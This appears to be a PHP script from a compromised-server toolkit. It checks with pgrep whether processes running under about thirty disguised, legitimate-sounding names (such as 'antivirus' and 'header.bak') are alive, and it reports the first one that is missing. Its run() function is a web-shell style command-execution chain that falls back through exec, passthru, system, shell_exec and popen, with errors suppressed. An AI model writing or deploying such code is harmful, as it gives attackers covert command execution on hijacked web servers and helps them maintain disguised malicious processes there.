<?php   $files = ['delete_event','visualprolog','function.search','feedcreator','message_stack','data_global','editSeminar','contentcache','teachingStaff','antivirus','downloader','stats_chart','phpbb.inc','db_operations','proves_img','editsitelang','mod_pj_newsshow','registrazione','install_func','ProtectorFilter','adv_counter','tax_classes','fckeditor.upload','shoppingCart','filethumbnail','get_images','announcement','class.history','jpgraph_gradient','header.bak']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }